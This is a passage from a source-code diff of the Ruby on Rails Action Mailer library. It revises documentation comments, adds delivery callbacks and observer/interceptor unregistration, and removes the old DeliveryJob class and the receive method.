   # Action Mailer allows you to send email from your application using a mailer model and views.
   #
-  # = Mailer Models
+  # == Mailer Models
   #
   # To use Action Mailer, you need to create a mailer model.
   #
-  #   $ rails generate mailer Notifier
+  #   $ bin/rails generate mailer Notifier
   #
   # The generated model inherits from <tt>ApplicationMailer</tt> which in turn
-  # inherits from <tt>ActionMailer::Base</tt>. A mailer model defines methods
-  # used to generate an email message. In these methods, you can setup variables to be used in
+  # inherits from +ActionMailer::Base+. A mailer model defines methods
+  # used to generate an email message. In these methods, you can set up variables to be used in
   # the mailer views, options on the mail itself such as the <tt>:from</tt> address, and attachments.
   #
   #   class ApplicationMailer < ActionMailer::Base
@@ -54,10 +59,10 @@ module ActionMailer
   #
   # * <tt>mail</tt> - Allows you to specify email to be sent.
   #
-  # The hash passed to the mail method allows you to specify any header that a <tt>Mail::Message</tt>
+  # The hash passed to the mail method allows you to specify any header that a +Mail::Message+
   # will accept (any valid email header including optional fields).
   #
-  # The mail method, if not passed a block, will inspect your views and send all the views with
+  # The +mail+ method, if not passed a block, will inspect your views and send all the views with
   # the same name as the method, so the above action would send the +welcome.text.erb+ view
   # file as well as the +welcome.html.erb+ view file in a +multipart/alternative+ email.
   #
@@ -82,7 +87,7 @@ module ActionMailer
   #     format.html { render "some_other_template" }
   #   end
   #
-  # = Mailer views
+  # == Mailer views
   #
   # Like Action Controller, each mailer class has a corresponding view directory in which each
   # method of the class looks for a template with its name.
@@ -104,13 +109,13 @@ module ActionMailer
   #   You got a new note!
   #   <%= truncate(@note.body, length: 25) %>
   #
-  # If you need to access the subject, from or the recipients in the view, you can do that through message object:
+  # If you need to access the subject, from, or the recipients in the view, you can do that through message object:
   #
   #   You got a new note from <%= message.from %>!
   #   <%= truncate(@note.body, length: 25) %>
   #
   #
-  # = Generating URLs
+  # == Generating URLs
   #
   # URLs can be generated in mailer views using <tt>url_for</tt> or named routes. Unlike controllers from
   # Action Pack, the mailer instance doesn't have any context about the incoming request, so you'll need
@@ -133,9 +138,12 @@ module ActionMailer
   #
   #   config.action_mailer.default_url_options = { host: "example.com" }
   #
-  # By default when <tt>config.force_ssl</tt> is true, URLs generated for hosts will use the HTTPS protocol.
+  # You can also define a <tt>default_url_options</tt> method on individual mailers to override these
+  # default settings per-mailer.
+  #
+  # By default when <tt>config.force_ssl</tt> is +true+, URLs generated for hosts will use the HTTPS protocol.
   #
-  # = Sending mail
+  # == Sending mail
   #
   # Once a mailer action and template are defined, you can deliver your message or defer its creation and
   # delivery for later:
@@ -144,9 +152,9 @@ module ActionMailer
   #   mail = NotifierMailer.welcome(User.first)      # => an ActionMailer::MessageDelivery object
   #   mail.deliver_now                               # generates and sends the email now
   #
-  # The <tt>ActionMailer::MessageDelivery</tt> class is a wrapper around a delegate that will call
-  # your method to generate the mail. If you want direct access to the delegator, or <tt>Mail::Message</tt>,
-  # you can call the <tt>message</tt> method on the <tt>ActionMailer::MessageDelivery</tt> object.
+  # The ActionMailer::MessageDelivery class is a wrapper around a delegate that will call
+  # your method to generate the mail. If you want direct access to the delegator, or +Mail::Message+,
+  # you can call the <tt>message</tt> method on the ActionMailer::MessageDelivery object.
   #
   #   NotifierMailer.welcome(User.first).message     # => a Mail::Message object
   #
@@ -160,7 +168,7 @@ module ActionMailer
   # You never instantiate your mailer class. Rather, you just call the method you defined on the class itself.
   # All instance methods are expected to return a message object to be sent.
   #
-  # = Multipart Emails
+  # == Multipart Emails
   #
   # Multipart messages can also be used implicitly because Action Mailer will automatically detect and use
   # multipart templates, where each template is named after the name of the action, followed by the content
@@ -181,7 +189,7 @@ module ActionMailer
   # This means that you'll have to manually add each part to the email and set the content type of the email
   # to <tt>multipart/alternative</tt>.
   #
-  # = Attachments
+  # == Attachments
   #
   # Sending attachment in emails is easy:
   #
@@ -208,7 +216,7 @@ module ActionMailer
   #       end
   #     end
   #
-  # You can also send attachments with html template, in this case you need to add body, attachments,
+  # You can also send attachments with HTML template, in this case you need to add body, attachments,
   # and custom content type like this:
   #
   #     class NotifierMailer < ApplicationMailer
@@ -221,7 +229,7 @@ module ActionMailer
   #       end
   #     end
   #
-  # = Inline Attachments
+  # == Inline Attachments
   #
   # You can also specify that a file should be displayed inline with other HTML. This is useful
   # if you want to display a corporate logo or a photo.
@@ -247,7 +255,7 @@ module ActionMailer
   #
   #   <%= image_tag attachments['photo.png'].url, alt: 'Our Photo', class: 'photo' -%>
   #
-  # = Observing and Intercepting Mails
+  # == Observing and Intercepting Mails
   #
   # Action Mailer provides hooks into the Mail observer and interceptor methods. These allow you to
   # register classes that are called during the mail delivery life cycle.
@@ -258,9 +266,9 @@ module ActionMailer
   # An interceptor class must implement the <tt>:delivering_email(message)</tt> method which will be
   # called before the email is sent, allowing you to make modifications to the email before it hits
   # the delivery agents. Your class should make any needed modifications directly to the passed
-  # in <tt>Mail::Message</tt> instance.
+  # in +Mail::Message+ instance.
   #
-  # = Default Hash
+  # == Default \Hash
   #
   # Action Mailer provides some intelligent defaults for your emails, these are usually specified in a
   # default method inside the class definition:
@@ -269,15 +277,15 @@ module ActionMailer
   #     default sender: 'system@example.com'
   #   end
   #
-  # You can pass in any header value that a <tt>Mail::Message</tt> accepts. Out of the box,
-  # <tt>ActionMailer::Base</tt> sets the following:
+  # You can pass in any header value that a +Mail::Message+ accepts. Out of the box,
+  # +ActionMailer::Base+ sets the following:
   #
   # * <tt>mime_version: "1.0"</tt>
   # * <tt>charset:      "UTF-8"</tt>
   # * <tt>content_type: "text/plain"</tt>
   # * <tt>parts_order:  [ "text/plain", "text/enriched", "text/html" ]</tt>
   #
-  # <tt>parts_order</tt> and <tt>charset</tt> are not actually valid <tt>Mail::Message</tt> header fields,
+  # <tt>parts_order</tt> and <tt>charset</tt> are not actually valid +Mail::Message+ header fields,
   # but Action Mailer translates them appropriately and sets the correct values.
   #
   # As you can pass in any header, you need to either quote the header as a string, or pass it in as
@@ -309,14 +317,16 @@ module ActionMailer
   #
   #    config.action_mailer.default_options = { from: "no-reply@example.org" }
   #
-  # = Callbacks
+  # == \Callbacks
   #
-  # You can specify callbacks using before_action and after_action for configuring your messages.
-  # This may be useful, for example, when you want to add default inline attachments for all
-  # messages sent out by a certain mailer class:
+  # You can specify callbacks using <tt>before_action</tt> and <tt>after_action</tt> for configuring your messages,
+  # and using <tt>before_deliver</tt> and <tt>after_deliver</tt> for wrapping the delivery process.
+  # For example, when you want to add default inline attachments and log delivery for all messages
+  # sent out by a certain mailer class:
   #
   #   class NotifierMailer < ApplicationMailer
   #     before_action :add_inline_attachment!
+  #     after_deliver :log_delivery
   #
   #     def welcome
   #       mail
@@ -326,21 +336,48 @@ module ActionMailer
   #       def add_inline_attachment!
   #         attachments.inline["footer.jpg"] = File.read('/path/to/filename.jpg')
   #       end
+  #
+  #       def log_delivery
+  #         Rails.logger.info "Sent email with message id '#{message.message_id}' at #{Time.current}."
+  #       end
   #   end
   #
-  # Callbacks in Action Mailer are implemented using
-  # <tt>AbstractController::Callbacks</tt>, so you can define and configure
+  # Action callbacks in Action Mailer are implemented using
+  # AbstractController::Callbacks, so you can define and configure
   # callbacks in the same manner that you would use callbacks in classes that
-  # inherit from <tt>ActionController::Base</tt>.
+  # inherit from ActionController::Base.
   #
   # Note that unless you have a specific reason to do so, you should prefer
   # using <tt>before_action</tt> rather than <tt>after_action</tt> in your
   # Action Mailer classes so that headers are parsed properly.
   #
-  # = Previewing emails
+  # == Rescuing Errors
+  #
+  # +rescue+ blocks inside of a mailer method cannot rescue errors that occur
+  # outside of rendering -- for example, record deserialization errors in a
+  # background job, or errors from a third-party mail delivery service.
+  #
+  # To rescue errors that occur during any part of the mailing process, use
+  # {rescue_from}[rdoc-ref:ActiveSupport::Rescuable::ClassMethods#rescue_from]:
+  #
+  #   class NotifierMailer < ApplicationMailer
+  #     rescue_from ActiveJob::DeserializationError do
+  #       # ...
+  #     end
+  #
+  #     rescue_from "SomeThirdPartyService::ApiError" do
+  #       # ...
+  #     end
+  #
+  #     def notify(recipient)
+  #       mail(to: recipient, subject: "Notification")
+  #     end
+  #   end
+  #
+  # == Previewing emails
   #
   # You can preview your email templates visually by adding a mailer preview file to the
-  # <tt>ActionMailer::Base.preview_path</tt>. Since most emails do something interesting
+  # <tt>ActionMailer::Base.preview_paths</tt>. Since most emails do something interesting
   # with database data, you'll need to write some scenarios to load messages with fake data:
   #
   #   class NotifierMailerPreview < ActionMailer::Preview
@@ -349,12 +386,12 @@ module ActionMailer
   #     end
   #   end
   #
-  # Methods must return a <tt>Mail::Message</tt> object which can be generated by calling the mailer
+  # Methods must return a +Mail::Message+ object which can be generated by calling the mailer
   # method without the additional <tt>deliver_now</tt> / <tt>deliver_later</tt>. The location of the
-  # mailer previews directory can be configured using the <tt>preview_path</tt> option which has a default
+  # mailer preview directories can be configured using the <tt>preview_paths</tt> option which has a default
   # of <tt>test/mailers/previews</tt>:
   #
-  #   config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+  #   config.action_mailer.preview_paths << "#{Rails.root}/lib/mailer_previews"
   #
   # An overview of all previews is accessible at <tt>http://localhost:3000/rails/mailers</tt>
   # on a running development server instance.
@@ -374,7 +411,7 @@ module ActionMailer
   # and <tt>register_preview_interceptor</tt> if they should operate on both sending and
   # previewing emails.
   #
-  # = Configuration options
+  # == Configuration options
   #
   # These options are specified on the class level, like
   # <tt>ActionMailer::Base.raise_delivery_errors = true</tt>
@@ -397,17 +434,21 @@ module ActionMailer
   #     This is a symbol and one of <tt>:plain</tt> (will send the password Base64 encoded), <tt>:login</tt> (will
   #     send the password Base64 encoded) or <tt>:cram_md5</tt> (combines a Challenge/Response mechanism to exchange
   #     information and a cryptographic Message Digest 5 algorithm to hash important information)
+  #   * <tt>:enable_starttls</tt> - Use STARTTLS when connecting to your SMTP server and fail if unsupported. Defaults
+  #     to <tt>false</tt>. Requires at least version 2.7 of the Mail gem.
   #   * <tt>:enable_starttls_auto</tt> - Detects if STARTTLS is enabled in your SMTP server and starts
   #     to use it. Defaults to <tt>true</tt>.
   #   * <tt>:openssl_verify_mode</tt> - When using TLS, you can set how OpenSSL checks the certificate. This is
   #     really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name
   #     of an OpenSSL verify constant (<tt>'none'</tt> or <tt>'peer'</tt>) or directly the constant
-  #     (<tt>OpenSSL::SSL::VERIFY_NONE</tt> or <tt>OpenSSL::SSL::VERIFY_PEER</tt>).
-  #     <tt>:ssl/:tls</tt> Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection)
+  #     (+OpenSSL::SSL::VERIFY_NONE+ or +OpenSSL::SSL::VERIFY_PEER+).
+  #   * <tt>:ssl/:tls</tt> Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection)
+  #   * <tt>:open_timeout</tt> Number of seconds to wait while attempting to open a connection.
+  #   * <tt>:read_timeout</tt> Number of seconds to wait until timing-out a read(2) call.
   #
   # * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method.
   #   * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
-  #   * <tt>:arguments</tt> - The command line arguments. Defaults to <tt>-i</tt> with <tt>-f sender@address</tt>
+  #   * <tt>:arguments</tt> - The command line arguments. Defaults to <tt>%w[ -i ]</tt> with <tt>-f sender@address</tt>
   #     added automatically before the message is sent.
   #
   # * <tt>file_settings</tt> - Allows you to override options for the <tt>:file</tt> delivery method.
@@ -428,12 +469,19 @@ module ActionMailer
   # * <tt>deliveries</tt> - Keeps an array of all the emails sent out through the Action Mailer with
   #   <tt>delivery_method :test</tt>. Most useful for unit and functional testing.
   #
-  # * <tt>deliver_later_queue_name</tt> - The name of the queue used with <tt>deliver_later</tt>. Defaults to +mailers+.
+  # * <tt>delivery_job</tt> - The job class used with <tt>deliver_later</tt>. Mailers can set this to use a
+  #   custom delivery job. Defaults to +ActionMailer::MailDeliveryJob+.
+  #
+  # * <tt>deliver_later_queue_name</tt> - The queue name used by <tt>deliver_later</tt> with the default
+  #   <tt>delivery_job</tt>. Mailers can set this to use a custom queue name.
   class Base < AbstractController::Base
+    include Callbacks
     include DeliveryMethods
+    include QueuedDelivery
     include Rescuable
     include Parameterized
     include Previews
+    include FormBuilder
 
     abstract!
 
@@ -450,14 +498,9 @@ class Base < AbstractController::Base
 
     PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [:@_action_has_layout]
 
-    def _protected_ivars # :nodoc:
-      PROTECTED_IVARS
-    end
-
     helper ActionMailer::MailHelper
 
-    class_attribute :default_params
-    self.default_params = {
+    class_attribute :default_params, default: {
       mime_version: "1.0",
       charset:      "UTF-8",
       content_type: "text/plain",
@@ -470,25 +513,49 @@ def register_observers(*observers)
         observers.flatten.compact.each { |observer| register_observer(observer) }
       end
 
+      # Unregister one or more previously registered Observers.
+      def unregister_observers(*observers)
+        observers.flatten.compact.each { |observer| unregister_observer(observer) }
+      end
+
       # Register one or more Interceptors which will be called before mail is sent.
       def register_interceptors(*interceptors)
         interceptors.flatten.compact.each { |interceptor| register_interceptor(interceptor) }
       end
 
+      # Unregister one or more previously registered Interceptors.
+      def unregister_interceptors(*interceptors)
+        interceptors.flatten.compact.each { |interceptor| unregister_interceptor(interceptor) }
+      end
+
       # Register an Observer which will be notified when mail is delivered.
-      # Either a class, string or symbol can be passed in as the Observer.
+      # Either a class, string, or symbol can be passed in as the Observer.
       # If a string or symbol is passed in it will be camelized and constantized.
       def register_observer(observer)
         Mail.register_observer(observer_class_for(observer))
       end
 
+      # Unregister a previously registered Observer.
+      # Either a class, string, or symbol can be passed in as the Observer.
+      # If a string or symbol is passed in it will be camelized and constantized.
+      def unregister_observer(observer)
+        Mail.unregister_observer(observer_class_for(observer))
+      end
+
       # Register an Interceptor which will be called before mail is sent.
-      # Either a class, string or symbol can be passed in as the Interceptor.
+      # Either a class, string, or symbol can be passed in as the Interceptor.
       # If a string or symbol is passed in it will be camelized and constantized.
       def register_interceptor(interceptor)
         Mail.register_interceptor(observer_class_for(interceptor))
       end
 
+      # Unregister a previously registered Interceptor.
+      # Either a class, string, or symbol can be passed in as the Interceptor.
+      # If a string or symbol is passed in it will be camelized and constantized.
+      def unregister_interceptor(interceptor)
+        Mail.unregister_interceptor(observer_class_for(interceptor))
+      end
+
       def observer_class_for(value) # :nodoc:
         case value
         when String, Symbol
@@ -508,94 +575,74 @@ def mailer_name
       attr_writer :mailer_name
       alias :controller_path :mailer_name
 
-      # Sets the defaults through app configuration:
-      #
-      #     config.action_mailer.default(from: "no-reply@example.org")
+      # Allows to set defaults through app configuration:
       #
-      # Aliased by ::default_options=
+      #    config.action_mailer.default_options = { from: "no-reply@example.org" }
       def default(value = nil)
         self.default_params = default_params.merge(value).freeze if value
         default_params
       end
-      # Allows to set defaults through app configuration:
-      #
-      #    config.action_mailer.default_options = { from: "no-reply@example.org" }
       alias :default_options= :default
 
-      # Receives a raw email, parses it into an email object, decodes it,
-      # instantiates a new mailer, and passes the email object to the mailer
-      # object's +receive+ method.
-      #
-      # If you want your mailer to be able to process incoming messages, you'll
-      # need to implement a +receive+ method that accepts the raw email string
-      # as a parameter:
+      # Wraps an email delivery inside of ActiveSupport::Notifications instrumentation.
       #
-      #   class MyMailer < ActionMailer::Base
-      #     def receive(mail)
-      #       # ...
-      #     end
-      #   end
-      def receive(raw_mail)
-        ActiveSupport::Notifications.instrument("receive.action_mailer") do |payload|
-          mail = Mail.new(raw_mail)
-          set_payload_for_mail(payload, mail)
-          new.receive(mail)
-        end
-      end
-
-      # Wraps an email delivery inside of <tt>ActiveSupport::Notifications</tt> instrumentation.
-      #
-      # This method is actually called by the <tt>Mail::Message</tt> object itself
-      # through a callback when you call <tt>:deliver</tt> on the <tt>Mail::Message</tt>,
-      # calling +deliver_mail+ directly and passing a <tt>Mail::Message</tt> will do
+      # This method is actually called by the +Mail::Message+ object itself
+      # through a callback when you call <tt>:deliver</tt> on the +Mail::Message+,
+      # calling +deliver_mail+ directly and passing a +Mail::Message+ will do
       # nothing except tell the logger you sent the email.
-      def deliver_mail(mail) #:nodoc:
+      def deliver_mail(mail) # :nodoc:
         ActiveSupport::Notifications.instrument("deliver.action_mailer") do |payload|
           set_payload_for_mail(payload, mail)
           yield # Let Mail do the delivery actions
         end
       end
 
-    private
+      # Returns an email in the format "Name <email@example.com>".
+      #
+      # If the name is a blank string, it returns just the address.
+      def email_address_with_name(address, name)
+        Mail::Address.new.tap do |builder|
+          builder.address = address
+          builder.display_name = name.presence
+        end.to_s
+      end
 
+    private
       def set_payload_for_mail(payload, mail)
-        payload[:mailer]     = name
-        payload[:message_id] = mail.message_id
-        payload[:subject]    = mail.subject
-        payload[:to]         = mail.to
-        payload[:from]       = mail.from
-        payload[:bcc]        = mail.bcc if mail.bcc.present?
-        payload[:cc]         = mail.cc  if mail.cc.present?
-        payload[:date]       = mail.date
-        payload[:mail]       = mail.encoded
-      end
-
-      def method_missing(method_name, *args)
-        if action_methods.include?(method_name.to_s)
-          MessageDelivery.new(self, method_name, *args)
+        payload[:mail]               = mail.encoded
+        payload[:mailer]             = name
+        payload[:message_id]         = mail.message_id
+        payload[:subject]            = mail.subject
+        payload[:to]                 = mail.to
+        payload[:from]               = mail.from
+        payload[:bcc]                = mail.bcc if mail.bcc.present?
+        payload[:cc]                 = mail.cc  if mail.cc.present?
+        payload[:date]               = mail.date
+        payload[:perform_deliveries] = mail.perform_deliveries
+      end
+
+      def method_missing(method_name, ...)
+        if action_methods.include?(method_name.name)
+          MessageDelivery.new(self, method_name, ...)
         else
           super
         end
       end
 
       def respond_to_missing?(method, include_all = false)
-        action_methods.include?(method.to_s) || super
+        action_methods.include?(method.name) || super
       end
     end
 
     attr_internal :message
 
-    # Instantiate a new mailer object. If +method_name+ is not +nil+, the mailer
-    # will be initialized according to the named method. If not, the mailer will
-    # remain uninitialized (useful when you only need to invoke the "receive"
-    # method, for instance).
     def initialize
       super()
       @_mail_was_called = false
       @_message = Mail.new
     end
 
-    def process(method_name, *args) #:nodoc:
+    def process(method_name, *args) # :nodoc:
       payload = {
         mailer: self.class.name,
         action: method_name,
@@ -607,8 +654,9 @@ def process(method_name, *args) #:nodoc:
         @_message = NullMail.new unless @_mail_was_called
       end
     end
+    ruby2_keywords(:process)
 
-    class NullMail #:nodoc:
+    class NullMail # :nodoc:
       def body; "" end
       def header; {} end
 
@@ -616,7 +664,7 @@ def respond_to?(string, include_all = false)
         true
       end
 
-      def method_missing(*args)
+      def method_missing(...)
         nil
       end
     end
@@ -626,18 +674,25 @@ def mailer_name
       self.class.mailer_name
     end
 
-    # Allows you to pass random and unusual headers to the new <tt>Mail::Message</tt>
+    # Returns an email in the format "Name <email@example.com>".
+    #
+    # If the name is a blank string, it returns just the address.
+    def email_address_with_name(address, name)
+      self.class.email_address_with_name(address, name)
+    end
+
+    # Allows you to pass random and unusual headers to the new +Mail::Message+
     # object which will add them to itself.
     #
     #   headers['X-Special-Domain-Specific-Header'] = "SecretValue"
     #
     # You can also pass a hash into headers of header field names and values,
-    # which will then be set on the <tt>Mail::Message</tt> object:
+    # which will then be set on the +Mail::Message+ object:
     #
     #   headers 'X-Special-Domain-Specific-Header' => "SecretValue",
     #           'In-Reply-To' => incoming.message_id
     #
-    # The resulting <tt>Mail::Message</tt> will have the following in its header:
+    # The resulting +Mail::Message+ will have the following in its header:
     #
     #   X-Special-Domain-Specific-Header: SecretValue
     #
@@ -673,7 +728,7 @@ def headers(args = nil)
     #  mail.attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
     #
     # If you do this, then Mail will take the file name and work out the mime type.
-    # It will also set the Content-Type, Content-Disposition, Content-Transfer-Encoding
+    # It will also set the +Content-Type+, +Content-Disposition+, and +Content-Transfer-Encoding+,
     # and encode the contents of the attachment in Base64.
     #
     # You can also specify overrides if you want by passing a hash instead of a string:
@@ -707,7 +762,7 @@ def attachments
     end
 
     class LateAttachmentsProxy < SimpleDelegator
-      def inline; _raise_error end
+      def inline; self end
       def []=(_name, _content); _raise_error end
 
       private
@@ -724,7 +779,7 @@ def _raise_error
     # the most used headers in an email message, these are:
     #
     # * +:subject+ - The subject of the message, if this is omitted, Action Mailer will
-    #   ask the Rails I18n class for a translated +:subject+ in the scope of
+    #   ask the \Rails I18n class for a translated +:subject+ in the scope of
     #   <tt>[mailer_scope, action_name]</tt> or if this is missing, will translate the
     #   humanized version of the +action_name+
     # * +:to+ - Who the message is destined for, can be a string of addresses, or an array
@@ -734,7 +789,7 @@ def _raise_error
     #   or an array of addresses.
     # * +:bcc+ - Who you would like to Blind-Carbon-Copy on this email, can be a string of
     #   addresses, or an array of addresses.
-    # * +:reply_to+ - Who to set the Reply-To header of the email to.
+    # * +:reply_to+ - Who to set the +Reply-To+ header of the email to.
     # * +:date+ - The date to say the email was sent on.
     #
     # You can set default values for any of the above headers (except +:date+)
@@ -761,7 +816,7 @@ def _raise_error
     # templates in the view paths using by default the mailer name and the
     # method name that it is being called from, it will then create parts for
     # each of these templates intelligently, making educated guesses on correct
-    # content type and sequence, and return a fully prepared <tt>Mail::Message</tt>
+    # content type and sequence, and return a fully prepared +Mail::Message+
     # ready to call <tt>:deliver</tt> on to send.
     #
     # For example:
@@ -828,8 +883,9 @@ def mail(headers = {}, &block)
       @_mail_was_called = true
 
       create_parts_from_responses(message, responses)
+      wrap_inline_attachments(message)
 
-      # Setup content type, reapply charset and handle parts order
+      # Set up content type, reapply charset and handle parts order
       message.content_type = set_content_type(message, content_type, headers[:content_type])
       message.charset      = charset
 
@@ -842,7 +898,6 @@ def mail(headers = {}, &block)
     end
 
     private
-
       # Used by #mail to set the content type of the message.
       #
       # It will use the given +user_content_type+, or multipart if the mail
@@ -858,7 +913,7 @@ def set_content_type(m, user_content_type, class_default) # :doc:
         when user_content_type.present?
           user_content_type
         when m.has_attachments?
-          if m.attachments.detect(&:inline?)
+          if m.attachments.all?(&:inline?)
             ["multipart", "related", params]
           else
             ["multipart", "mixed", params]
@@ -870,13 +925,13 @@ def set_content_type(m, user_content_type, class_default) # :doc:
         end
       end
 
-      # Translates the +subject+ using Rails I18n class under <tt>[mailer_scope, action_name]</tt> scope.
+      # Translates the +subject+ using \Rails I18n class under <tt>[mailer_scope, action_name]</tt> scope.
       # If it does not find a translation for the +subject+ under the specified scope it will default to a
       # humanized version of the <tt>action_name</tt>.
       # If the subject has interpolations, you can pass them through the +interpolations+ parameter.
       def default_i18n_subject(interpolations = {}) # :doc:
         mailer_scope = self.class.mailer_name.tr("/", ".")
-        I18n.t(:subject, interpolations.merge(scope: [mailer_scope, action_name], default: action_name.humanize))
+        I18n.t(:subject, **interpolations, scope: [mailer_scope, action_name], default: action_name.humanize)
       end
 
       # Emails do not support relative path links.
@@ -885,29 +940,34 @@ def self.supports_path? # :doc:
       end
 
       def apply_defaults(headers)
-        default_values = self.class.default.map do |key, value|
-          [
-            key,
-            value.is_a?(Proc) ? instance_exec(&value) : value
-          ]
-        end.to_h
+        default_values = self.class.default.except(*headers.keys).transform_values do |value|
+          compute_default(value)
+        end
 
         headers_with_defaults = headers.reverse_merge(default_values)
         headers_with_defaults[:subject] ||= default_i18n_subject
         headers_with_defaults
       end
 
+      def compute_default(value)
+        return value unless value.is_a?(Proc)
+
+        if value.arity == 1
+          instance_exec(self, &value)
+        else
+          instance_exec(&value)
+        end
+      end
+
       def assign_headers_to_message(message, headers)
         assignable = headers.except(:parts_order, :content_type, :body, :template_name,
                                     :template_path, :delivery_method, :delivery_method_options)
         assignable.each { |k, v| message[k] = v }
       end
 
-      def collect_responses(headers)
+      def collect_responses(headers, &block)
         if block_given?
-          collector = ActionMailer::Collector.new(lookup_context) { render(action_name) }
-          yield(collector)
-          collector.responses
+          collect_responses_from_block(headers, &block)
         elsif headers[:body]
           collect_responses_from_text(headers)
         else
@@ -915,6 +975,13 @@ def collect_responses(headers)
         end
       end
 
+      def collect_responses_from_block(headers)
+        templates_name = headers[:template_name] || action_name
+        collector = ActionMailer::Collector.new(lookup_context) { render(templates_name) }
+        yield(collector)
+        collector.responses
+      end
+
       def collect_responses_from_text(headers)
         [{
           body: headers.delete(:body),
@@ -927,10 +994,10 @@ def collect_responses_from_templates(headers)
         templates_name = headers[:template_name] || action_name
 
         each_template(Array(templates_path), templates_name).map do |template|
-          self.formats = template.formats
+          format = template.format || self.formats.first
           {
-            body: render(template: template),
-            content_type: template.type.to_s
+            body: render(template: template, formats: [format]),
+            content_type: Mime[format].to_s
           }
         end
       end
@@ -940,7 +1007,28 @@ def each_template(paths, name, &block)
         if templates.empty?
           raise ActionView::MissingTemplate.new(paths, name, paths, false, "mailer")
         else
-          templates.uniq(&:formats).each(&block)
+          templates.uniq(&:format).each(&block)
+        end
+      end
+
+      def wrap_inline_attachments(message)
+        # If we have both types of attachment, wrap all the inline attachments
+        # in multipart/related, but not the actual attachments
+        if message.attachments.detect(&:inline?) && message.attachments.detect { |a| !a.inline? }
+          related = Mail::Part.new
+          related.content_type = "multipart/related"
+          mixed = [ related ]
+
+          message.parts.each do |p|
+            if p.attachment? && !p.inline?
+              mixed << p
+            else
+              related.add_part(p)
+            end
+          end
+
+          message.parts.clear
+          mixed.each { |c| message.add_part(c) }
         end
       end
 
@@ -972,7 +1060,11 @@ def instrument_payload(key)
       end
 
       def instrument_name
-        "action_mailer".freeze
+        "action_mailer"
+      end
+
+      def _protected_ivars
+        PROTECTED_IVARS
       end
 
       ActiveSupport.run_load_hooks(:action_mailer, self)
diff --git a/actionmailer/lib/action_mailer/callbacks.rb b/actionmailer/lib/action_mailer/callbacks.rb
new file mode 100644
index 0000000000000..b92842b442460
--- /dev/null
+++ b/actionmailer/lib/action_mailer/callbacks.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module ActionMailer
+  module Callbacks
+    extend ActiveSupport::Concern
+
+    DEFAULT_INTERNAL_METHODS = [:_run_deliver_callbacks].freeze # :nodoc:
+
+    included do
+      include ActiveSupport::Callbacks
+      define_callbacks :deliver, skip_after_callbacks_if_terminated: true
+    end
+
+    module ClassMethods
+      # Defines a callback that will get called right before the
+      # message is sent to the delivery method.
+      def before_deliver(*filters, &blk)
+        set_callback(:deliver, :before, *filters, &blk)
+      end
+
+      # Defines a callback that will get called right after the
+      # message's delivery method is finished.
+      def after_deliver(*filters, &blk)
+        set_callback(:deliver, :after, *filters, &blk)
+      end
+
+      # Defines a callback that will get called around the message's deliver method.
+      def around_deliver(*filters, &blk)
+        set_callback(:deliver, :around, *filters, &blk)
+      end
+
+      def internal_methods # :nodoc:
+        super.concat(DEFAULT_INTERNAL_METHODS)
+      end
+    end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/collector.rb b/actionmailer/lib/action_mailer/collector.rb
index d97a73d65a34d..888410fa755ca 100644
--- a/actionmailer/lib/action_mailer/collector.rb
+++ b/actionmailer/lib/action_mailer/collector.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_controller/collector"
 require "active_support/core_ext/hash/reverse_merge"
 require "active_support/core_ext/array/extract_options"
diff --git a/actionmailer/lib/action_mailer/delivery_job.rb b/actionmailer/lib/action_mailer/delivery_job.rb
deleted file mode 100644
index a617daa87e8e4..0000000000000
--- a/actionmailer/lib/action_mailer/delivery_job.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-require "active_job"
-
-module ActionMailer
-  # The <tt>ActionMailer::DeliveryJob</tt> class is used when you
-  # want to send emails outside of the request-response cycle.
-  #
-  # Exceptions are rescued and handled by the mailer class.
-  class DeliveryJob < ActiveJob::Base # :nodoc:
-    queue_as { ActionMailer::Base.deliver_later_queue_name }
-
-    rescue_from StandardError, with: :handle_exception_with_mailer_class
-
-    def perform(mailer, mail_method, delivery_method, *args) #:nodoc:
-      mailer.constantize.public_send(mail_method, *args).send(delivery_method)
-    end
-
-    private
-      # "Deserialize" the mailer class name by hand in case another argument
-      # (like a Global ID reference) raised DeserializationError.
-      def mailer_class
-        if mailer = Array(@serialized_arguments).first || Array(arguments).first
-          mailer.constantize
-        end
-      end
-
-      def handle_exception_with_mailer_class(exception)
-        if klass = mailer_class
-          klass.handle_exception exception
-        else
-          raise exception
-        end
-      end
-  end
-end
diff --git a/actionmailer/lib/action_mailer/delivery_methods.rb b/actionmailer/lib/action_mailer/delivery_methods.rb
index bcc4ef03cf86e..df6e90db7adcc 100644
--- a/actionmailer/lib/action_mailer/delivery_methods.rb
+++ b/actionmailer/lib/action_mailer/delivery_methods.rb
@@ -1,26 +1,22 @@
+# frozen_string_literal: true
+
 require "tmpdir"
 
 module ActionMailer
+  # = Action Mailer \DeliveryMethods
+  #
   # This module handles everything related to mail delivery, from registering
   # new delivery methods to configuring the mail object to be sent.
   module DeliveryMethods
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :delivery_methods, :delivery_method
-
       # Do not make this inheritable, because we always want it to propagate
-      cattr_accessor :raise_delivery_errors
-      self.raise_delivery_errors = true
-
-      cattr_accessor :perform_deliveries
-      self.perform_deliveries = true
-
-      cattr_accessor :deliver_later_queue_name
-      self.deliver_later_queue_name = :mailers
+      cattr_accessor :raise_delivery_errors, default: true
+      cattr_accessor :perform_deliveries, default: true
 
-      self.delivery_methods = {}.freeze
-      self.delivery_method  = :smtp
+      class_attribute :delivery_methods, default: {}.freeze
+      class_attribute :delivery_method, default: :smtp
 
       add_delivery_method :smtp, Mail::SMTP,
         address:              "localhost",
@@ -36,7 +32,7 @@ module DeliveryMethods
 
       add_delivery_method :sendmail, Mail::Sendmail,
         location:  "/usr/sbin/sendmail",
-        arguments: "-i"
+        arguments: %w[-i]
 
       add_delivery_method :test, Mail::TestMailer
     end
@@ -51,10 +47,10 @@ module ClassMethods
